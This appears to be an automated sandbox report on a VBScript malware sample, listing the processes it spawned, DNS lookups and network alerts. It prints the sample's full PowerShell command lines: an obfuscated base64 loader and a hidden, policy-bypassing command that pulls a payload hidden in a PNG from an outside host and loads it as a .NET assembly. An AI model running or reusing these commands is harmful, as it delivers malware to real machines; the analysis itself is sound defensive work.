audiodgse.vbs| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6403_us | Oct. 18, 2023, 9:58 a.m. | Oct. 18, 2023, 10 a.m. |
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JDpiWvNwtCBpDpiWvNwtCG0DpiWvNwtCYQBnDpiWvNwtCGUDpiWvNwtCVQByDpiWvNwtCGwDpiWvNwtCIDpiWvNwtCDpiWvNwtC9DpiWvNwtCCDpiWvNwtCDpiWvNwtCJwBoDpiWvNwtCHQDpiWvNwtCdDpiWvNwtCBwDpiWvNwtCHMDpiWvNwtCOgDpiWvNwtCvDpiWvNwtCC8DpiWvNwtCdwBhDpiWvNwtCGwDpiWvNwtCbDpiWvNwtCBwDpiWvNwtCGEDpiWvNwtCcDpiWvNwtCBlDpiWvNwtCHIDpiWvNwtCYwBhDpiWvNwtCHYDpiWvNwtCZQDpiWvNwtCuDpiWvNwtCGMDpiWvNwtCbwBtDpiWvNwtCC8DpiWvNwtCdQB3DpiWvNwtCHDpiWvNwtCDpiWvNwtCLwB1DpiWvNwtCHcDpiWvNwtCcDpiWvNwtCDpiWvNwtC0DpiWvNwtCDDpiWvNwtCDpiWvNwtCNwDpiWvNwtCyDpiWvNwtCDgDpiWvNwtCMDpiWvNwtCDpiWvNwtCxDpiWvNwtCC4DpiWvNwtCcDpiWvNwtCBuDpiWvNwtCGcDpiWvNwtCJwDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCdwBlDpiWvNwtCGIDpiWvNwtCQwBsDpiWvNwtCGkDpiWvNwtCZQBuDpiWvNwtCHQDpiWvNwtCIDpiWvNwtCDpiWvNwtC9DpiWvNwtCCDpiWvNwtCDpiWvNwtCTgBlDpiWvNwtCHcDpiWvNwtCLQBPDpiWvNwtCGIDpiWvNwtCagBlDpiWvNwtCGMDpiWvNwtCdDpiWvNwtCDpiWvNwtCgDpiWvNwtCFMDpiWvNwtCeQBzDpiWvNwtCHQDpiWvNwtCZQBtDpiWvNwtCC4DpiWvNwtCTgBlDpiWvNwtCHQDpiWvNwtCLgBXDpiWvNwtCGUDpiWvNwtCYgBDDpiWvNwtCGwDpiWvNwtCaQBlDpiWvNwtCG4DpiWvNwtCdDpiWvNwtCDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCaQBtDpiWvNwtCGEDpiWvNwtCZwBlDpiWvNwtCEIDpiWvNwtCeQB0DpiWvNwtCGUDpiWvNwtCcwDpiWvNwtCgDpiWvNwtCD0DpiWvNwtCIDpiWvNwtCDpiWvNwtCkDpiWvNwtCHcDpiWvNwtCZQBiDpiWvNwtCEMDpiWvNwtCbDpiWvNwtCBpDpiWvNwtCGUDpiWvNwtCbgB0DpiWvNwtCC4DpiWvNwtCRDpiWvNwtCBvDpiWvNwtCHcDpiWvNwtCbgBsDpiWvNwtCG8DpiWvNwtCYQBkDpiWvNwtCEQDpiWvNwtCYQB0DpiWvNwtCGEDpiWvNwtCKDpiWvNwtCDpiWvNwtCkDpiWvNwtCGkDpiWvNwtCbQBhDpiWvNwtCGcDpiWvNwtCZQBVDpiWvNwtCHIDpiWvNwtCbDpiWvNwtCDpiWvNwtCpDpiWvNwtCDsDpiWvNwtCJDpiWvNwtCBpDpiWvNwtCG0DpiWvNwtCYQBnDpiWvNwtCGUDpiWvNwtCVDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCdDpiWvNwtCDpiWvNwtCgDpiWvNwtCD0DpiWvNwtCIDpiWvNwtCBbDpiWvNwtCFMDpiWvNwtCeQBzDpiWvNwtCHQDpiWvNwtCZQBtDpiWvNwtCC4DpiWvNwtCVDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCdDpiWvNwtCDpiWvNwtCuDpiWvNwtCEUDpiWvNwtCbgBjDpiWvNwtCG8DpiWvNwtCZDpiWvNwtCBpDpiWvNwtCG4DpiWvNwtCZwBdDpiWvNwtCDoDpiWvNwtCOgBVDpiWvNwtCFQDpiWvNwtCRgDpiWvNwtC4DpiWvNwtCC4DpiWvNwtCRwBlDpiWvNwtCHQDpiWvNwtCUwB0DpiWvNwtCHIDpiWvNwtCaQBuDpiWvNwtCGcDpiWvNwtCKDpiWvNwtCDpiWvNwtCkDpiWvNwtCGkDpiWvNwtCbQBhDpiWvNwtCGcDpiWvNwtCZQBCDpiWvNwtCHkDpiWvNwtCdDpiWvNwtCBlDpiWvNwtCHMDpiWvNwtCKQDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEYDpiWvNwtCbDpiWvNwtCBhDpiWvNwtCGcDpiWvNwtCIDpiWvNwtCDpiWvNwtC9DpiWvNwtCCDpiWvNwtCDpiWvNwtCJwDpiWvNwtC8DpiWvNwtCDwDpiWvNwtCQgBBDpiWvNwtCFMDpiWvNwtCRQDpiWvNwtC2DpiWvNwtCDQDpiWvNwtCXwBTDpiWvNwtCFQDpiWvNwtCQQBSDpiWvNwtCFQDpiWvNwtCPgDpiWvNwtC+DpiWvNwtCCcDpiWvNwtCOwDpiWvNwtCkDpiWvNwtCGUDpiWvNwtCbgBkDpiWvNwtCEYDpiWvNwtCbDpiWvNwtCBhDpiWvNwtCGcDpiWvNwtCIDpiWvNwtCDpiWvNwtC9DpiWvNwtCCDpiWvNwtCDpiWvNwtCJwDpiWvNwtC8DpiWvNwtCDwDpiWvNwtCQgBBDpiWvNwtCFMDpiWvNwtCRQDpiWvNwtC2DpiWvNwtCDQDpiWvNwtCXwBFDpiWvNwtCE4DpiWvNwtCRDpiWvNwtCDpiWvNwtC+DpiWvNwtCD4DpiWvNwtCJwDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEkDpiWvNwtCbgBkDpiWvNwtCGUDpiWvNwtCeDpiWvNwtCDpiWvNwtCgDpiWvNwtCD0DpiWvNwtCIDpiWvNwtCDpiWvNwtCkDpiWvNwtCGkDpiWvNwtCbQBhDpiWvNwtCGcDpiWvNwtCZQBUDpiWvNwtCGUDpiWvNwtCeDpiWvNwtCB0DpiWvNwtCC4DpiWvNwtCSQBuDpiWvNwtCGQDpiWvNwtCZQB4DpiWvNwtCE8DpiWvNwtCZgDpiWvNwtCoDpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEYDpiWvNwtCbDpiWvNwtCBhDpiWvNwtCGcDpiWvNwtCKQDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCZQBuDpiWvNwtCGQDpiWvNwtCSQBuDpiWvNwtCGQDpiWvNwtCZQB4DpiWvNwtCCDpiWvNwtCDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCaQBtDpiWvNwtCGEDpiWvNwtCZwBlDpiWvNwtCFQDpiWvNwtCZQB4DpiWvNwtCHQDpiWvNwtCLgBJDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCTwBmDpiWvNwtCCgDpiWvNwtCJDpiWvNwtCBlDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBGDpiWvNwtCGwDpiWvNwtCYQBnDpiWvNwtCCkDpiWvNwtCOwDpiWvNwtCkDpiWvNwtCHMDpiWvNwtCdDpiWvNwtCBhDpiWvNwtCHIDpiWvNwtCdDpiWvNwtCBJDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCIDpiWvNwtCDpiWvNwtCtDpiWvNwtCGcDpiWvNwtCZQDpiWvNwtCgDpiWvNwtCDDpiWvNwtCDpiWvNwtCIDpiWvNwtCDpiWvNwtCtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCCDpiWvNwtCDpiWvNwtCJDpiWvNwtCBlDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBJDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCIDpiWvNwtCDpiWvNwtCtDpiWvNwtCGcDpiWvNwtCdDpiWvNwtCDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEkDpiWvNwtCbgBkDpiWvNwtCGUDpiWvNwtCeDpiWvNwtCDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEkDpiWvNwtCbgBkDpiWvNwtCGUDpiWvNwtCeDpiWvNwtCDpiWvNwtCgDpiWvNwtCCsDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEYDpiWvNwtCbDpiWvNwtCBhDpiWvNwtCGcDpiWvNwtCLgBMDpiWvNwtCGUDpiWvNwtCbgBnDpiWvNwtCHQDpiWvNwtCaDpiWvNwtCDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCYgBhDpiWvNwtCHMDpiWvNwtCZQDpiWvNwtC2DpiWvNwtCDQDpiWvNwtCTDpiWvNwtCBlDpiWvNwtCG4DpiWvNwtCZwB0DpiWvNwtCGgDpiWvNwtCIDpiWvNwtCDpiWvNwtC9DpiWvNwtCCDpiWvNwtCDpiWvNwtCJDpiWvNwtCBlDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBJDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCIDpiWvNwtCDpiWvNwtCtDpiWvNwtCCDpiWvNwtCDpiWvNwtCJDpiWvNwtCBzDpiWvNwtCHQDpiWvNwtCYQByDpiWvNwtCHQDpiWvNwtCSQBuDpiWvNwtCGQDpiWvNwtCZQB4DpiWvNwtCDsDpiWvNwtCJDpiWvNwtCBiDpiWvNwtCGEDpiWvNwtCcwBlDpiWvNwtCDYDpiWvNwtCNDpiWvNwtCBDDpiWvNwtCG8DpiWvNwtCbQBtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCCDpiWvNwtCDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCaQBtDpiWvNwtCGEDpiWvNwtCZwBlDpiWvNwtCFQDpiWvNwtCZQB4DpiWvNwtCHQDpiWvNwtCLgBTDpiWvNwtCHUDpiWvNwtCYgBzDpiWvNwtCHQDpiWvNwtCcgBpDpiWvNwtCG4DpiWvNwtCZwDpiWvNwtCoDpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEkDpiWvNwtCbgBkDpiWvNwtCGUDpiWvNwtCeDpiWvNwtCDpiWvNwtCsDpiWvNwtCCDpiWvNwtCDpiWvNwtCJDpiWvNwtCBiDpiWvNwtCGEDpiWvNwtCcwBlDpiWvNwtCDYDpiWvNwtCNDpiWvNwtCBMDpiWvNwtCGUDpiWvNwtCbgBnDpiWvNwtCHQDpiWvNwtCaDpiWvNwtCDpiWvNwtCpDpiWvNwtCDsDpiWvNwtCJDpiWvNwtCBjDpiWvNwtCG8DpiWvNwtCbQBtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCEIDpiWvNwtCeQB0DpiWvNwtCGUDpiWvNwtCcwDpiWvNwtCgDpiWvNwtCD0DpiWvNwtCIDpiWvNwtCBbDpiWvNwtCFMDpiWvNwtCeQBzDpiWvNwtCHQDpiWvNwtCZQBtDpiWvNwtCC4DpiWvNwtCQwBvDpiWvNwtCG4DpiWvNwtCdgBlDpiWvNwtCHIDpiWvNwtCdDpiWvNwtCBdDpiWvNwtCDoDpiWvNwtCOgBGDpiWvNwtCHIDpiWvNwtCbwBtDpiWvNwtCEIDpiWvNwtCYQBzDpiWvNwtCGUDpiWvNwtCNgDpiWvNwtC0DpiWvNwtCFMDpiWvNwtCdDpiWvNwtCByDpiWvNwtCGkDpiWvNwtCbgBnDpiWvNwtCCgDpiWvNwtCJDpiWvNwtCBiDpiWvNwtCGEDpiWvNwtCcwBlDpiWvNwtCDYDpiWvNwtCNDpiWvNwtCBDDpiWvNwtCG8DpiWvNwtCbQBtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCCkDpiWvNwtCOwDpiWvNwtCkDpiWvNwtCGwDpiWvNwtCbwBhDpiWvNwtCGQDpiWvNwtCZQBkDpiWvNwtCEEDpiWvNwtCcwBzDpiWvNwtCGUDpiWvNwtCbQBiDpiWvNwtCGwDpiWvNwtCeQDpiWvNwtCgDpiWvNwtCD0DpiWvNwtCIDpiWvNwtCBbDpiWvNwtCFMDpiWvNwtCeQBzDpiWvNwtCHQDpiWvNwtCZQBtDpiWvNwtCC4DpiWvNwtCUgBlDpiWvNwtCGYDpiWvNwtCbDpiWvNwtCBlDpiWvNwtCGMDpiWvNwtCdDpiWvNwtCBpDpiWvNwtCG8DpiWvNwtCbgDpiWvNwtCuDpiWvNwtCEEDpiWvNwtCcwBzDpiWvNwtCGUDpiWvNwtCbQBiDpiWvNwtCGwDpiWvNwtCeQBdDpiWvNwtCDoDpiWvNwtCOgBMDpiWvNwtCG8DpiWvNwtCYQBkDpiWvNwtCCgDpiWvNwtCJDpiWvNwtCBjDpiWvNwtCG8DpiWvNwtCbQBtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCEIDpiWvNwtCeQB0DpiWvNwtCGUDpiWvNwtCcwDpiWvNwtCpDpiWvNwtCDsDpiWvNwtCJDpiWvNwtCB0DpiWvNwtCHkDpiWvNwtCcDpiWvNwtCBlDpiWvNwtCCDpiWvNwtCDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCbDpiWvNwtCBvDpiWvNwtCGEDpiWvNwtCZDpiWvNwtCBlDpiWvNwtCGQDpiWvNwtCQQBzDpiWvNwtCHMDpiWvNwtCZQBtDpiWvNwtCGIDpiWvNwtCbDpiWvNwtCB5DpiWvNwtCC4DpiWvNwtCRwBlDpiWvNwtCHQDpiWvNwtCVDpiWvNwtCB5DpiWvNwtCHDpiWvNwtCDpiWvNwtCZQDpiWvNwtCoDpiWvNwtCCcDpiWvNwtCRgBpDpiWvNwtCGIDpiWvNwtCZQByDpiWvNwtCC4DpiWvNwtCSDpiWvNwtCBvDpiWvNwtCG0DpiWvNwtCZQDpiWvNwtCnDpiWvNwtCCkDpiWvNwtCOwDpiWvNwtCkDpiWvNwtCG0DpiWvNwtCZQB0DpiWvNwtCGgDpiWvNwtCbwBkDpiWvNwtCCDpiWvNwtCDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCdDpiWvNwtCB5DpiWvNwtCHDpiWvNwtCDpiWvNwtCZQDpiWvNwtCuDpiWvNwtCEcDpiWvNwtCZQB0DpiWvNwtCE0DpiWvNwtCZQB0DpiWvNwtCGgDpiWvNwtCbwBkDpiWvNwtCCgDpiWvNwtCJwBWDpiWvNwtCEEDpiWvNwtCSQDpiWvNwtCnDpiWvNwtCCkDpiWvNwtCLgBJDpiWvNwtCG4DpiWvNwtCdgBvDpiWvNwtCGsDpiWvNwtCZQDpiWvNwtCoDpiWvNwtCCQDpiWvNwtCbgB1DpiWvNwtCGwDpiWvNwtCbDpiWvNwtCDpiWvNwtCsDpiWvNwtCCDpiWvNwtCDpiWvNwtCWwBvDpiWvNwtCGIDpiWvNwtCagBlDpiWvNwtCGMDpiWvNwtCdDpiWvNwtCBbDpiWvNwtCF0DpiWvNwtCXQDpiWvNwtCgDpiWvNwtCCgDpiWvNwtCJwBkDpiWvNwtCEgDpiWvNwtCaDpiWvNwtCDpiWvNwtCwDpiWvNwtCEwDpiWvNwtCbQBoDpiWvNwtCGkDpiWvNwtCTDpiWvNwtCDpiWvNwtCyDpiWvNwtCDkDpiWvNwtCegBhDpiWvNwtCFMDpiWvNwtCODpiWvNwtCDpiWvNwtCzDpiWvNwtCE4DpiWvNwtCQwDpiWvNwtC0DpiWvNwtCDQDpiWvNwtCTQBEDpiWvNwtCEUDpiWvNwtCdQBNDpiWvNwtCHkDpiWvNwtCNDpiWvNwtCB5DpiWvNwtCE8DpiWvNwtCVDpiWvNwtCBFDpiWvNwtCHYDpiWvNwtCTDpiWvNwtCB6DpiWvNwtCHDpiWvNwtCDpiWvNwtCdwBkDpiWvNwtCEgDpiWvNwtCUgBvDpiWvNwtCCcDpiWvNwtCIDpiWvNwtCDpiWvNwtCsDpiWvNwtCCDpiWvNwtCDpiWvNwtCJwDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCMgDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCcgBlDpiWvNwtCGcDpiWvNwtCYQBzDpiWvNwtCG0DpiWvNwtCcwDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCNDpiWvNwtCDpiWvNwtCnDpiWvNwtCCDpiWvNwtCDpiWvNwtCLDpiWvNwtCDpiWvNwtCgDpiWvNwtCCcDpiWvNwtCQwDpiWvNwtC6DpiWvNwtCFwDpiWvNwtCVwBpDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBvDpiWvNwtCHcDpiWvNwtCcwBcDpiWvNwtCFQDpiWvNwtCZQBtDpiWvNwtCHDpiWvNwtCDpiWvNwtCXDpiWvNwtCDpiWvNwtCnDpiWvNwtCCwDpiWvNwtCIDpiWvNwtCDpiWvNwtCnDpiWvNwtCGgDpiWvNwtCdDpiWvNwtCBtDpiWvNwtCGwDpiWvNwtCJwDpiWvNwtCpDpiWvNwtCCkDpiWvNwtC';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DpiWvNwtC','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
2144-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4072801.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmhiL29zaS83NC44MDEuMy4yOTEvLzpwdHRo' , '' , '2' , 'regasms' , '4' , 'C:\Windows\Temp\', 'html'))"
2380
-
-
powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasms.vbs -Force }
2196
-
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| wallpapercave.com | 104.22.52.71 |
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.103:49167 -> 104.22.52.71:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
| TCP 192.168.56.103:49168 -> 104.22.52.71:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
No Suricata TLS
| file | C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4072801.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmhiL29zaS83NC44MDEuMy4yOTEvLzpwdHRo' , '' , '2' , 'regasms' , '4' , 'C:\Windows\Temp\', 'html'))" |
| cmdline | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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tCBJDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCIDpiWvNwtCDpiWvNwtCtDpiWvNwtCGcDpiWvNwtCZQDpiWvNwtCgDpiWvNwtCDDpiWvNwtCDpiWvNwtCIDpiWvNwtCDpiWvNwtCtDpiWvNwtCGEDpiWvNwtCbgBkDpiWvNwtCCDpiWvNwtCDpiWvNwtCJDpiWvNwtCBlDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBJDpiWvNwtCG4DpiWvNwtCZDpiWvNwtCBlDpiWvNwtCHgDpiWvNwtCIDpiWvNwtCDpiWvNwtCtDpiWvNwtCGcDpiWvNwtCdDpiWvNwtCDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEkDpiWvNwtCbgBkDpiWvNwtCGUDpiWvNwtCeDpiWvNwtCDpiWvNwtC7DpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEkDpiWvNwtCbgBkDpiWvNwtCGUDpiWvNwtCeDpiWvNwtCDpiWvNwtCgDpiWvNwtCCsDpiWvNwtCPQDpiWvNwtCgDpiWvNwtCCQDpiWvNwtCcwB0DpiWvNwtCGEDpiWvNwtCcgB0DpiWvNwtCEYDpiWvNwtCbDpiWvNwtCBhDpiWvNwtCGcDpiWvNwtCLgBMDpiWvNwtCGUDpiWvNwtC